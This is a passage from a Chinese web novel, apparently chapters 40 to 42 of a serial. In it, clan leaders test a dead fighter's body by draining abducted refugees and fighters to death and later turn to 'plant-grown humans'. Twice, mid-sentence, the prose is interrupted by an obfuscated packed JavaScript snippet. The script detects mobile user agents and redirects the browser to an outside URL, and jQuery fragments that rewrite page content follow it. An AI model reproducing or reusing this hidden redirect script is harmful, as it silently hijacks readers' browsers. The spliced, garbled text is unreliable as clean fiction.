那时候我已经能凭防御术在同辈中稳居前三,可族里一句话,我还是把所有防御术的卷轴都烧了,从头开始练「青霜刃」,练到指尖全是冻疮,也没说过一句不。” “族里让我和叶家合作,哪怕我知道叶平的手段龌龊,知道这场合作背后藏着多少见不得光的交易,我还是接了——因为这符合李家的利益。” 她转过身,直视着夏侯雪的眼睛,那双清冷的眸子里,第一次露出了一丝极淡的疲惫。 “你看,我态度是不好,对叶平的厌恶摆在脸上,对实验的事也没什么热情,可我做的每一件事,都没偏离家族的要求,都在为李家的利益铺路。” “只要守住这个底线,我偶尔的‘任性’——比如把你带回来,比如不愿去实验室看那些龌龊事——族里也会睁一只眼闭一只眼,毕竟比起这些小事,我的‘听话’才是更重要的。” 夏侯雪静静地听着,心里像被什么东西堵住,说不出话来。 她忽然明白,李砚卿的冷漠不是天生的,而是一层厚厚的冰壳,是为了把自己的内心牢牢冰封起来,才不会被个人情绪影响家族的决定。 “我不是没有自己的意志。”李砚卿的声音轻了些,像是在自言自语,又像是在对夏侯雪解释。 “我也觉得那些实验恶心,也觉得叶平的报复心太过扭曲,甚至刚才看到你为张玉汝难受时,我也想过要不要破例……可这些‘想’,在家族意志面前,什么都算不上。” 她抬手,掌心再次凝结出一团青色霜雪,这一次,霜雪的光芒比之前黯淡了些。 “李家养我、教我能力,不是让我随心所欲的,是要我成为家族的‘工具’,成为能为李家遮风挡雨的战力。我的个人意志,早在我选择留在李家的那天起,就被埋在最深处了,连我自己都快忘了它原本的样子。” 说完这些,李砚卿收回掌心的霜雪,转身走向正屋,留下夏侯雪一个人站在原地。 晚风再次吹起,带着桂花的淡香,可夏侯雪却觉得比之前更冷。 李砚卿救她,是同为「青霜」能力者的一丝怜悯,可这份怜悯,终究抵不过家族利益的重量,抵不过李砚卿早已被冰封的内心。 第 40章 实验 夏侯雪依旧静静地站在原地,青石板上的桂花叶被晚风卷着,轻轻擦过她的脚踝,她却像没有察觉般,连脚尖都未曾动一下。 方才李砚卿的话还在耳边回响,那些关于“听话”“家族意志”“工具”的字眼,像细小的冰针,密密麻麻扎在她心上,让她连呼吸都带着滞涩的沉重。 “不要对这些事情太过忧心,没有什么作用。”李砚卿的声音从正屋方向传来,隔着庭院的距离,显得有些模糊,却依旧带着那股她所独有的清冷。 “在你没有能力做些什么的时候,最好也选择听话——乖乖待在这个院里,别去想张玉汝的事,别去招惹叶家,这样我才好保住你。” 话音稍顿,又添了一句,语气里多了几分不容置喙的警告:“如果你确实想要做些什么,比如去找叶家报仇,或者试图干涉李家的事,那我也只能够把你控制起来,免得你波及到我,坏了家族的计划。” 夏侯雪张了张嘴,想回应些什么,喉咙却像被冰霜堵住,连一个音节都发不出来。 她只是站在那里,目光空洞地落在地面上那摊早已冻结的血晶上——那是她方才自伤留下的痕迹,冰晶折射着庭院的灯火,泛着冷冽的光,像在无声地嘲讽她的无能。 思考吗?该思考些什么?是思考如何向张玉汝赎罪,还是思考如何摆脱“棋子”的命运? 她试着在脑海里拼凑出一条路,可无论怎么想,眼前都是一片迷雾:她没有李家的权势,没有叶平的狠辣,甚至连自己的能力,都是叶家临时灌输、随时可能消散的力量。 想要为张玉汝做些什么,想要去弥补自己犯下的错误,不过是痴人说梦。 行动吗?又如何行动?去找叶平报仇? 以她现在的实力,恐怕连叶家的大门都进不去,就会被当成蝼蚁碾死;去阻止李家的实验? 她连实验室的具体位置都不知道,更别说对抗整个雍州的利益集团。 方才李砚卿的警告像警钟,敲碎了她仅存的一点冲动——她很清楚,自己现在连“任性”的资格都没有,一旦轻举妄动,不仅救不了任何人,还会把自己推向万劫不复的深渊。 原来这就是无能为力的感觉。 明明胸腔里翻涌着愧疚、愤怒与不甘,明明有无数话想喊出来,有无数事想做下去,可落到实处,却只能站在原地,什么也说不出口,什么也做不到。 晚风吹得更急了,桂花树的枝叶剧烈晃动,落下的花瓣粘在她的发间,带着一丝微弱的香气,却怎么也融不开她心底的寒冰。 夏侯雪缓缓闭上眼,任由那股无力感将自己包裹,像被大雪掩埋般,连挣扎的力气都渐渐消散。 ———————————————————————————————————————— 此刻的叶平,早已将夏侯雪抛到了九霄云外——对他而言,那枚失去利用价值的棋子,远不如眼前张玉汝的尸体和实验区更有吸引力。 他站在实验室的观察窗前,鼻尖几乎要贴在冰冷的玻璃上,眼底闪烁着毫不掩饰的贪婪,死死盯着下方实验台上那具被固定住的躯体。 张玉汝霜白的发丝、胸口尚未愈合的伤口,甚至连躯体上残留的微弱能量波动,在他眼中都成了即将到手的“宝藏”,仿佛下一秒就能从这具尸体里挖出颠覆能力者格局的秘密。 观察窗下的实验区早已准备就绪,灯火通明得如同白昼。 雍州四大家族——赵、秦、魏、柳的标志,分别刻在实验区四个角落的金属牌上,格外醒目。 谁都知道,不久前魏家还因为实验资源分配的问题,与柳家闹过不小的摩擦,甚至私下里扣过柳家的一批实验材料。 可自从天人李家下了指令,要四家联合推进张玉汝的尸体研究,那些明争暗斗便像被按下了暂停键一般,瞬间偃旗息鼓。 没人敢在这个时候忤逆李家。 李家如此看重这次实验,甚至破天荒地将核心研究环节对外开放,若是因为家族间的这点小矛盾惹恼了李家,别说后续的利益分红,恐怕连在雍州立足的资格都会被剥夺。 更何况,在这份巨大的利益面前,这点摩擦又算得了什么? 与其争一时之气,不如抓紧时间分一杯羹,这是四大家族心照不宣的共识。 他们太清楚李家的“规矩”了——相较于其他总想着吃独食、把好处攥在自己手里的天人家族,李家最大的优势,就是懂得“分利”。 千百年來,李家从未独占过任何一次大的利益机遇:当年开发雍州边境的矿脉,李家让跟着的小家族都拿到了份额;后来研究异兽防御阵法,也主动分享了基础图谱。 用李家的话说,“独乐乐不如众乐乐”。 实际上,这种“慷慨”才是最聪明的手段——李家吃肉,其他家族喝汤,既巩固了自己的核心地位,又让所有依附者都心甘情愿地为其效力。 久而久之,雍州的大小势力都形成了共识:跟着李家混,或许成不了顶级豪门,但绝对不会吃亏,不管怎么样,至少有个保底。 也正因如此,李家刚提出要四家协作,四大家族便以最快的速度行动起来,各司其职,默契得仿佛演练过无数次。 秦家擅长建造各类特殊场地,只用了三天,就搭建好了能隔绝能量泄露、抵御外力冲击的实验区,连地面的合金板都经过了三层强化。 同时秦家掌控着雍州半数以上的矿脉,源源不断地将稀有金属、能量晶体等实验材料送到实验室,从未出过一次延误。 而实验所需要的各种动植物材料则是由赵家来提供,无论是异兽还是异植,赵家都能够以最快的速度来供给。 魏家最擅长安保,不仅派了十名大师级能力者守在实验室外围,还动用了家族的情报网,将实验区周边十里内的异动排查得一清二楚,连一只可疑的飞鸟都别想靠近。 而柳家,作为最早参与人体实验的家族,亲自操刀负责对张玉汝尸体的测试——从抽取血液样本,到检测骨骼中的能量残留,每一个步骤都由柳家最资深的实验专家主导,精准得如同钟表的齿轮。 整个实验项目的开展,没有丝毫滞涩,顺畅得如同行云流水。 叶平看着下方忙碌却有序的场景,嘴角的笑意越来越浓——他仿佛已经看到,用不了多久,自己就能拿着研究成果回到叶家,得到家族的重赏,甚至在先导会里获得更高的话语权。 至于那些协作的家族能分到多少好处,他根本不在意,他只关心,自己能从这具尸体里,榨取出多少价值。 柳家的实验专家围着张玉汝的尸体,动作精准得如同外科医生。 为首的白胡子老者——柳家最资深的实验负责人柳明远,正手持一支泛着蓝光的能量探测仪,缓缓贴近张玉汝的躯体,仪器屏幕上跳动的数字,随着探测仪的移动不断变化,却始终维持在一个令人意外的区间。 “能量残留值:37.2标准单位,仅相当于普通高级能力者水平。” 柳明远的声音带着一丝难以置信,他又将探测仪对准张玉汝胸口的伤口,屏幕上的数字微微波动,最终停留在39.5,“伤口处能量逸散速度正常,未发现特殊能量场残留。” 一旁的助手迅速记录下数据,指尖在光屏上飞快滑动:“骨骼密度检测完毕,比普通能力者高12%,但远低于大师级能力者的平均标准;血液样本分析完成,未检测出特殊基因序列或能量因子,与常规速度系能力者的血液组成无显著差异……” 一项项测试结果接连报出,却没有任何一项能匹配张玉汝活着时的恐怖战力——那个能硬撼天人下属、击杀叶光、从数十次围杀中逃出生天的大师级能力者,死后躯体的各项指标竟平庸得近乎“普通”。 柳明远皱紧眉头,亲自取了张玉汝的一缕白发进行基因测序,光屏上浮现出的基因图谱清晰明了,没有任何变异片段,更没有传说中能提升战力的“特殊基因链”。 “怎么可能?”观察窗前的叶平忍不住低骂出声,手掌重重拍在玻璃上,留下一道清晰的印子,“他能杀了叶光,能冲破李家的傀儡陷阱,就凭这些平庸的指标?你们是不是测试错了!” 他的语气带着急切与不满,眼底的贪婪被失望取代——他本以为能从这具尸体里找到“超强战力”的秘密,可现在看来,这更像一具普通能力者的躯体,根本没有值得研究的价值。 站在他身旁的李家嫡系子弟李默,脸色也沉了下来。 他抬手按住通讯器,声音冷硬地对下方实验区下令:“柳明远,重新检测!重点排查心脏、大脑等核心部位,用最高精度仪器,不许放过任何细节!” 柳家的专家们不敢怠慢,立刻更换了更精密的仪器,甚至动用了李家提供的“基因共振仪”——这种仪器能检测出最细微的基因波动,连隐藏的能力因子都能捕捉到。 可结果依旧令人失望:张玉汝的心脏早已被冰霜撕裂,仅残留少量能量;大脑区域更是毫无异常,连精神力残留都低于大师级能力者的平均水平。 “这样的结果,无法向家主交代。”李默的手指无意识地敲击着窗台,语气里满是压抑的烦躁,“李家投入这么多资源,不是为了研究一具‘普通尸体’的。” 叶平的脸色更差,他盯着实验台上的张玉汝,眼神阴鸷:“肯定有哪里没查到!他活着时几乎没有同级别能力者与他对抗,他的尸体里不可能一点痕迹都没有!” 他忽然看向李默,语气带着一丝狠戾,“用极端手段试试——强行激发躯体的能量残留,或者拆解核心器官进行深度分析,我就不信找不到秘密!” 李默迟疑了一瞬——极端手段可能会彻底破坏躯体,导致后续研究无法进行。 但一想到李家对这次实验的重视,以及叶平背后叶家的压力,他终究还是点了点头:“通知柳家,启用‘能量刺激方案’,用高浓度能量液注入躯体,强行激活可能隐藏的能量因子;同时准备器官剥离仪,若刺激方案无效,就对心脏、脊椎等关键部位进行拆解分析。” 指令下达的瞬间,实验区的气氛骤然变得紧张。 柳明远虽不赞同这种可能破坏“素材”的极端方法,却也不敢违抗李家与叶家的命令,只能让助手取出高浓度能量液与特制针头,缓缓走向实验台。 观察窗前,叶平死死盯着下方的动作,眼底重新燃起期待——他不信张玉汝的秘密会凭空消失,哪怕拆了这具尸体,他也要找到让对方如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510872|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此强大的缘由。 而李默则皱着眉,指尖的冰凉透过手套传来,他隐隐觉得哪里不对劲,却又说不上来——一具能爆发出恐怖战力的躯体,怎么会如此“平庸”?这太平常了,反而透着一股说不出的诡异。 实验台上,高浓度能量液缓缓注入张玉汝的血管,淡金色的液体在血管中流动,却没有引发任何能量波动。 柳明远的脸色越来越难看,就在他准备下令启用器官剥离仪时,实验台旁的能量监测仪突然发出一阵细微的“滴滴”声,屏幕上闪过一丝极淡的黑色光点,随即又恢复了平静,快得让人以为是仪器故障。 能量监测仪上那一闪而过的黑色光点,虽未引起柳家专家的注意,却让观察窗前的叶平与李默同时愣住。 两人对视一眼,方才因急躁而紧绷的情绪,竟在这瞬间冷静了几分——若张玉汝的秘密真能被轻易用极端手段挖出,他也不至于成为让天人都忌惮的存在。 “操之过急了。”李默率先开口,指尖停止了敲击窗台的动作,语气恢复了往日的沉稳。 “这具躯体是目前唯一能接触到拥有‘巅峰战力’的素材,若是被拆解破坏,再想找第二个张玉汝,难如登天。” 他看向叶平,眼神里带着几分提醒,“叶家想要的是复制他的战力秘密,而非毁掉这唯一的线索,不是吗?” 叶平深吸一口气,压下心底的焦躁。 方才他被“平庸的指标”刺激得失了分寸,此刻冷静下来才意识到,自己差点毁掉最宝贵的“材料”。 他盯着实验台上张玉汝的躯体,眼底的贪婪重新被审慎取代:“你说得对,不能浪费。既然常规测试和极端刺激都没用,那就换个思路——他的能力或许不是源于躯体本身,而是需要某种‘媒介’或‘触发条件’。” 李默眼中闪过一丝赞同:“我也是这么想的。或许我们可以找些‘消耗品’,用他们来测试张玉汝躯体的特殊性。” 他口中的“消耗品”,指的是那些无依无靠、就算消失也无人追究的能力者——对李家和叶家而言,用这些人的生命来探寻秘密,远比毁掉张玉汝这具核心素材更划算。 “这个办法可行。”叶平立刻点头,语气里带着一丝狠厉,“让魏家去办,他们在雍州掌控着不少流民收容所和地下斗场,找些‘合适’的人不难——最好是不同能力类型、不同修为的,覆盖面广些,总能试出点东西。” 两人很快达成共识,李默当即通过通讯器联系魏家:“立刻筛选一批实验对象,要求:无背景、修为在中级至高级能力者之间,涵盖冰霜、火焰、金属等不同能力类型,三日内送到实验室。注意,要‘干净’的,别留下任何能追溯到李家或叶家的痕迹。” 魏家接到指令后,不敢有丝毫拖延。 当天下午,雍州城郊的流民收容所里,便有一批“不听话”的流民被悄悄带走;地下斗场中,那些打赢了比赛却没钱赎身的能力者,也被魏家以“抵债”的名义强行带走。 这些人不知道自己将要面临什么,只当是被送去做苦力,直到被推进实验室的附属房间,看到那些冰冷的仪器和穿着白大褂的人,才意识到不对劲,却早已失去了反抗的机会。 三日后,实验室的附属区域里,已经关押了近五十名实验对象。 他们被分在不同的隔间里,每个人的手腕上都戴着能量抑制环,脸上满是惶恐与不安。 而实验区中央,张玉汝的尸体依旧被固定在实验台上,只是周围多了几台连接着管线的仪器——这些管线的另一端,将分别连接到不同的实验对象身上。 叶平与李默站在观察窗前,看着下方被恐惧笼罩的实验对象,脸上没有丝毫波澜。对他们而言,这些人的生命如同草芥,只要能从张玉汝的躯体里挖出秘密,就算牺牲再多“消耗品”也值得。 “开始吧。”李默对通讯器下令。 随着指令下达,第一根管线被连接到一名火焰系能力者的手腕上,同时,另一根管线从张玉汝的躯体延伸而出,与火焰系能力者的管线相连。 柳家的专家启动仪器,试图将火焰系能力者的能量导入张玉汝的躯体,再观察是否会触发特殊反应。 仪器运转的嗡鸣声响起,淡红色的能量顺着管线缓缓流向张玉汝的躯体,却像石沉大海般,没有引发任何波动。 那名火焰系能力者发出痛苦的嘶吼,能量被强行抽取的剧痛让他浑身抽搐,可张玉汝的躯体依旧平静,连一丝能量残留都没有显现。 “失败了。”柳明远的声音带着一丝疲惫。 叶平皱了皱眉,却没有气馁:“换下个,试试金属系的。” 一根又一根管线被连接,一名又一名实验对象在痛苦中失去能量,可张玉汝的躯体始终毫无反应。 观察窗前的叶平与李默脸色渐渐沉了下来。 就在他们快要失去耐心时,当一根连接着力量系能力者的管线启动时,实验台上张玉汝的指尖,突然再次闪过一丝极淡的黑色光点。 这一次,光点停留的时间比之前长了一瞬,恰好被紧盯着屏幕的李默捕捉到。 “等等!倒回去,重新播放刚才的画面!”李默突然开口,声音里带着一丝不易察觉的激动。 第 41章 幽默 “停!就是这里!”李默的手指重重指向观察窗下的屏幕,原本因接连失败而紧绷的下颌线终于柔和了几分,眼底的沉郁被一丝不易察觉的兴奋取代,“刚才那道黑色光点,再放大十倍!” 屏幕上的画面迅速定格、放大,那丝在张玉汝指尖一闪而过的黑色光点,终于清晰地呈现在众人眼前。 它不像能量残留那样带着光晕,反而像一团极淡的墨,在屏幕上留下了转瞬即逝的印记。 李默盯着光点,原本极为不善的表情彻底舒缓下来,语气里带着如释重负的轻快:“这家伙的尸体,终于有反应了。” 下方实验区的柳明远也松了口气,握着探测仪的手微微放松。 他凑近屏幕,眉头却依旧紧锁,在心中反复思索:“这一次为什么会有反应?刚才的实验对象是力量系能力者,难道是因为这种偏‘刚性’的能量触发了躯体的某种机制?还是说,之前注入的能量强度不够,直到这位力量系能力者的能量注入,才达到了触发阈值?” 他手里捏着实验记录,指尖在“火焰系无反应”“金属系无反应”“力量系触发光点”的字样上反复摩挲。 无数种可能性在脑海里交织,却没一个能完全站住脚。 可即便如此,他心里还是松了大半:只要有了反应,就不算毫无进展,至少证明张玉汝的躯体里确实藏着秘密,只是需要找对方法。 实验本就不会一帆风顺,柳明远从事研究几十年,比这更棘手的情况也遇到过。 若是平时,他大可以按部就班地调整变量、反复测试,慢慢摸索触发条件。 可这次不一样——观察窗前坐着李默和叶平两位“顶头上司”,一个是李家嫡系,掌握着实验资源的分配权;一个是叶家代表,背后站着能影响先导会决策的天人家族。 这两人从实验开始就一直盯着,每一次失败都伴随着观察窗后愈发凝重的气氛,柳明远甚至能感受到叶平那道几乎要穿透玻璃的锐利目光。 这种无形的压力让他坐立难安。 他很清楚,若是长时间拿不出成果,别说保住自己柳家实验负责人的位置,恐怕连柳家在这次合作中的份额都会被削减。 刚才接连几次失败时,他能清晰地听到叶平在观察窗后低骂,也能看到李默敲击窗台的频率越来越快——那些细微的动作,都像鞭子一样抽在他心上,逼着他必须尽快找到突破口。 “柳老,接下来要怎么做?”旁边的助手小声询问,语气里带着几分紧张。 柳明远深吸一口气,压下心底的焦虑,重新握紧探测仪:“先把刚才那名力量系能力者带过来,重新进行能量注入,这次放慢速度,精准记录每一个能量节点的数据。” “另外,再筛选三名不同修为的力量系能力者,分批次测试,看看是‘力量属性’的原因,还是‘能量强度’的原因。” 指令下达后,实验区重新忙碌起来。 观察窗前的叶平也凑到屏幕前,盯着那道黑色光点的放大图,嘴角重新勾起贪婪的弧度:“总算没白费功夫,继续查,一定要搞清楚这光点是什么!” 李默没有说话,只是目光依旧紧锁着实验台上的张玉汝,指尖轻轻敲击着窗台——他总觉得,这道黑色光点背后,藏着比“战力秘密”更复杂的东西,只是现在还猜不透。 而下方的柳明远,在助手们忙碌的身影中,悄悄擦了擦额头的冷汗——至少现在,他不用再担心因毫无进展而被问责了。 有了“力量系能力者触发反应”的初步方向,后续的研究便成了一场浩大的“穷举实验”。 柳明远将实验室划分出三个测试区,每个区域都配备了实时监测仪,屏幕上跳动着张玉汝躯体的能量波动、基因活性、细胞反应等数十项数据。 他则坐在中央控制台前,亲自调度实验节奏,试图从海量测试中筛出规律。 第一批补充的三十名实验对象被分批带入测试区,其中十五名是不同修为的力量系能力者,其余则涵盖了速度、元素等多种类型。 当第一根连接着力量系能力者的管线启动时,监测仪屏幕上很快出现了波动——淡金色的能量顺着管线注入张玉汝躯体。 几秒钟后,张玉汝的指尖再次浮现出那道黑色光点,虽然微弱,却比第一次更清晰。 “反应效率100%!”助手兴奋地报出数据,柳明远却没放松,而是立刻下令:“换中级修为的力量系,再测!” 接连测试了五名力量系能力者后,规律逐渐清晰:无论是初级、中级还是高级修为,力量系能力者的能量与张玉汝躯体接触时,触发黑色光点的概率都超过80%。 且修为越高,光点停留的时间越长。 而其他类型的能力者中,金属系、土系等偏“刚性”的能力者,也能偶尔触发反应,只是概率不足30%,光点也更淡;火焰、水系等元素系能力者的触发概率则更低,十次测试里难有一次成功。 最反常的,是速度系能力者。 柳明远特意挑选了五名与张玉汝修为相近的速度系能力者,甚至其中两人的能力特性与“加速”相关。 可无论如何调整能量注入强度、频率,监测仪屏幕上始终一片平静——张玉汝的躯体像一块冰冷的石头,对同源的速度系能量毫无反应。 “这太奇怪了。”柳明远盯着屏幕上“速度系触发率0%”的数据,手指无意识地敲击着桌面。 “张玉汝本身就是顶尖的速度系能力者,「加速世界」更是他的核心能力,怎么会对同源能量毫无感应?难道他的能力根源,根本不是常规认知中的速度系?” 这个疑问像一根刺,扎在他心头——同源能量本该有更高的共鸣概率,可眼前的实验结果,却完全颠覆了这个常识。 观察窗前的叶平与李默也注意到了这个反常点。 叶平皱着眉,语气里带着不解:“速度系没反应?那他的能力是怎么来的?总不能是凭空出现的吧?” 李默则盯着监测仪上张玉汝的细胞活性数据,若有所思:“或许,这种异常之处正是他强大的原因。” 大规模实验确实效率惊人,短短两天,柳明远就整理出了初步的反应规律,可“高效”的背后,是难以想象的残酷代价。 每一次能量注入,对实验对象而言都是一场浩劫——高浓度的能量被强行抽取、转化,再注入张玉汝的躯体,过程中产生的能量反噬,会彻底摧毁实验对象的经脉与细胞。 几乎每完成一次测试,测试区的地面上都会倒下一名实验对象,他们有的在能量反噬中直接死亡,有的则气息奄奄,连抬起手指的力气都没有,最终被魏家的人拖出实验室,扔到郊外的乱葬岗。 “第47号实验素材,死亡。”“第52号实验素材,经脉尽断,无利用价值。” 助手麻木地报着伤亡数据,控制台旁的垃圾桶里,堆满了记录着实验数据的废纸。 而实验室外,魏家的人还在源源不断地送来新的“素材”——对李家和叶家而言,这些无依无靠的能力者,不过是可随时替换的消耗品,只要能摸清张玉汝的秘密,再多的牺牲也微不足道。 柳明远看着屏幕上跳动的规律数据,又瞥了一眼窗外被拖走的实验对象尸体,眼底闪过一丝复杂的情绪,却很快被压了下去。 他知道,自己没有资格同情——从接手这个实验的那天起,他就成了利益链条上的一环,只能跟着往前走,哪怕脚下踩着的是无数人的尸骨。 就在这时,中央监测仪突然发出一阵急促的警报声,屏幕上张玉汝躯体的能量波动曲线陡然飙升,那道黑色光点竟从指尖蔓延到了手腕,像一条细小的墨色藤蔓,在他苍白的皮肤上格外刺眼。 “怎么回事?”柳明远猛地站起身,心脏不由自主地加速跳动——这是实验开始以来,最剧烈的一次反应。 屏幕上那道从张玉汝手腕蔓延开的墨色光点,不过持续了三秒,便像潮水般缓缓退去,重新缩回指尖,最终彻底消失不见。 监测仪上的能量波动曲线也随之回落,很快恢复到之前的平缓状态,仿佛刚才那场剧烈反应只是一场错觉。 “怎么回事?”柳明远盯着屏幕,刚才因兴奋而微微泛红的脸颊瞬间沉了下来,他猛地转头对助手下令:“继续加大能量用量!把注入功率调到最大,我就不信触发不了第二次反应!” 然而,助手却僵在原地,手指悬在仪器开关上方,迟迟没有动作。 实验室里只剩下仪器运转的嗡鸣声,柳明远的目光像淬了冰,死死盯着助手:“为什么在这里傻呆着?没听见我的话吗?” 他心里早已怒火中烧——刚才那剧烈反应明明是突破的关键,再推一把说不定就能摸清黑色光点的底细,这个助手却在最关键的时候掉链子。 柳明远甚至已经在心里盘算,等实验结束,就以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515520|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “失职”为由把这个助手赶出实验室,绝不能让这种人耽误后续研究。 助手被他看得浑身发颤,终于艰难地抬起头,声音带着几分沙哑:“柳大人,不是我不动……是实验素材……全部消耗完了。” “消耗完了?”柳明远愣了一下,随即才猛然反应过来——从实验开始到现在,魏家送来的近百名实验素材,要么在能量反噬中死亡,要么因经脉尽断被拖走处理,此刻测试区的隔间里,早已空荡荡的,连一个能连接管线的对象都没有了。 他的面色瞬间变得难看,先是震惊,再是焦躁,最后又染上几分无奈——刚才那股突破的兴奋劲儿全没了,只剩下对“功亏一篑”的担忧。 他深吸一口气,压下心底的火气,快步走出实验区,直奔观察室,来到李默面前汇报情况,脚步都比平时快了几分。 可还没等他开口说明素材耗尽的困境,李默便抬手打断了他,语气平静得像是早已预料到:“我已经知道这件事了。魏家那边传来消息,最近雍州边境流民减少,地下斗场也因为异兽异动变得冷清,他们很难再送来足够的实验素材。” 柳明远的心沉了下去,急忙追问:“那现在的研究应该怎么办?刚才我们已经触发了一次剧烈反应,就差一步就能摸到线索了!如果现在中止,之后再重启,未必能复现这次的效果啊!” 他说得急切——做实验虽然讲究科学严谨,可很多时候能不能成功,全看那转瞬即逝的“玄学”机会。 刚才的能量注入强度、频率,甚至张玉汝躯体的临时状态,都是不可复制的变量,一旦中断,下次再想达成同样的条件,难如登天。 李默闻言,指尖轻轻敲击着窗台,沉默了片刻。 他也清楚实验中止的风险,可魏家断供已是事实,总不能让研究彻底停滞。 过了一会儿,他才缓缓开口:“最近情况确实不太好,魏家暂时指望不上了。之后就让秦家和赵家来提供素材吧。” 柳明远皱了皱眉,心里很清楚——秦家和赵家提供的素材,质量远比不上魏家抓来的“野生能力者”。 可现在没有其他选择,他只能点了点头应下:“好,我这就去联系秦赵两家。” 虽然素材质量下降,但有总比没有好,至少能让研究继续下去。 他只希望,秦家和赵家能尽快送来素材,别让那好不容易抓住的“突破机会”,彻底消失不见。 实验区的灯光依旧刺眼,张玉汝的尸体被固定在实验台上,霜白的发丝贴在苍白的脸颊上,双眼紧闭,像一尊失去灵魂的冰雕。 没人注意到,他的指尖还残留着一丝极淡的黑色微光。 更没人知道,这位生前为了追查真相奔波劳碌的人,此刻正以最冰冷的姿态,“见证”着那些他穷尽心力也没能触及的答案——那些答案就围绕在他的尸体旁,清晰得近乎讽刺。 柳家的实验人员正在收拾仪器,谈话声飘到实验台边:“刚才李大人说,之后素材要靠秦家和赵家送,秦家矿场里的能力者虽然修为低,但胜在数量多。” 另一个人接话:“可不是嘛,之前魏家送来的流民和斗场能力者多方便,现在断供了,只能凑合用这些‘矿工’‘工匠’了……” 张玉汝生前曾试图找到实验素材的来源,最终只查到几条模糊的线索。 可现在,这些“来源”的秘密,却被柳家人员轻描淡写地说出来,就飘在他的尸体旁,触手可及。 他曾怀疑雍州四大家族在背后勾结,却始终找不到确凿证据;他曾猜测赵家与秦家也参与其中,却苦于没有线索佐证。 可现在,这些猜测都成了事实,赵秦两家的代表就站在他的尸体不远处,当着李默的面,敲定着“素材”的输送计划,连掩饰都懒得掩饰。 实验区的门被推开,冷风灌了进来,吹动了张玉汝的白发。 他的尸体依旧冰冷,却仿佛在“听”着这一切——生前耗费数月、甚至差点付出生命都没能查清的真相,死后却如此轻易地呈现在眼前。 那些他曾渴望知道的答案,那些他曾想要揭露的黑暗,此刻都围绕着他的尸体,像一场荒诞的闹剧。 或许这就是命运的幽默。 张玉汝的指尖,那丝黑色微光轻轻闪烁了一下,仿佛在无声地叹息,又像是在默默“记住”这一切——记住那些围绕在他尸体旁的真相,记住这场迟到的、冰冷的“见证”。 第 42章 真相 张玉汝生前其实离真相其实并不遥远。 他曾凭借自身出众的洞察力,隐约猜到柳家背后有天人家族撑腰,也查到魏家与异兽迁徙、人体实验有关联。 他的猜想没错,可他终究没能看透这张利益网的全貌:除了柳家之外,赵家、秦家、魏家也都深陷其中,四家像缠绕的藤蔓,彼此竞争又彼此依存,将雍州的黑暗秘密牢牢裹在核心。 平日里,他们为了矿脉资源、工坊份额争得面红耳赤,甚至私下里动用能力者暗杀对方的管事,矛盾激烈到外人都以为是不死不休的仇怨。 可一旦触及共同利益,比如这次研究张玉汝的躯体,他们又能瞬间放下嫌隙,默契得像多年的盟友——魏家断供素材,秦家立刻动用人力资源网补位,赵家则拿出压箱底的“特殊储备”,没有丝毫推诿。 秦家的招工启事贴遍了雍州各城的角落,红纸黑字写得格外诱人:“招募尖端项目研究员,参与顶级科技实验,月薪抵普通能力者半年收入,包食宿,表现优异者可获推荐资格。” 秦家在招工领域向来有“诚信”名声,以往招募矿工、工匠从不少发工钱,这则启事一出,立刻吸引了大批想赚大钱、改变命运的人。 有刚觉醒能力的年轻人,有走投无路的流民,还有想靠“尖端项目”翻身的落魄能力者。 他们怀揣着希望提交申请,被秦家的人从雍州各地分批送到“实验基地”。 直到被戴上能量抑制环、推进冰冷的隔间,他们才意识到“尖端科技研究”的真相——所谓的“研究员”,不过是实验台上待宰的素材。 秦家的确没骗他们:承诺的丰厚工资早已打入临时账户,只是没几个人能活着花掉这笔钱。 即便如此,秦家送来的人还是跟不上实验消耗。 短短五天,又有三百多人在能量反噬中死亡,监测仪屏幕上的黑色光点再次变得微弱。 眼看研究要陷入停滞,李默终于松口:“让赵家把之前给柳家的‘储备素材’送过来吧。” 当十几名赵家侍从抬着封口的黑陶坛子走进实验区时,叶平皱紧了眉头,语气里满是不解:“李默,就算降低要求,抓几只异兽、找些野生动物也行,搞这些装着花草的坛子算什么?难不成要拿植物做实验?” 在他看来,植物和人类的能量体系完全不同,根本不可能触发张玉汝躯体的反应。 李默没有解释,只是示意侍从打开其中一个坛子——坛口的封泥被剥开,里面并非普通花草,而是一株株形态奇异的植物:根茎粗壮,泛着淡粉色的光泽,叶片呈半透明状,隐约能看到里面流动的“汁液”,像极了人类的血液。 他抬手递给叶平一张叠好的化验单:“你先看看这个。” 叶平耐着性子展开化验单,目光刚扫过前几行,原本不耐烦的表情瞬间凝固,瞳孔猛地收缩。 化验单上的各项数据清晰地显示:这些植物的汁液成分与人类血液高度一致,基因序列相似度达98%,能量传导效率甚至比普通人类更高,除了形态是植物,其他指标完全符合“人类素材”的要求。 “这……这真的是植物的化验单?”叶平的声音带着难以置信的颤抖,目光死死盯着李默,仿佛要从他脸上看出破绽。 他身为叶家嫡系,见过不少天人家族的秘密技术,却从未听说过“植物形态的人类”。 李默笑着点头,指尖轻轻划过坛口的植物叶片:“没错,这些是赵家专门培育的‘植化人’——用人类基因与特殊植物融合,在培养坛里生长,成熟后就能当作素材使用。它们没有意识,不会反抗,能量稳定性比活人更强,之前柳家做初步实验时,用的就是这种素材。” “可以种植的人类……”叶平喃喃自语,心底的震撼久久无法平息。 